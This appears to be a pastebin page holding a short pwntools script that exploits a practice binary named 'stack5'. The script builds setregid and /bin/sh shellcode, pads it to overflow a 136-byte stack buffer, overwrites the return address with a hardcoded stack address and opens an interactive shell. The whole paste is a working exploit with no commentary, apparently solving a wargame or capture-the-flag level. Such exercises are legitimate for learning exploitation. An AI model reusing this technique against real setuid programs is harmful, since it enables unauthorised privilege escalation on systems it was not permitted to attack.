Untitled
unknown
plain_text
9 months ago
337 B
39
Indexable
from pwn import *
elf = ELF('./stack5')
context.binary = elf
shellcode = asm(shellcraft.setregid())
shellcode += asm(shellcraft.sh())
print(len(shellcode))
payload = shellcode
payload += b'A' * (136 - len(shellcode))
payload += p64(0x7fffffffecc8)
io = process('./stack5', env={})
io.sendline(payload)
io.interactive()
Editor is loading...
Leave a Comment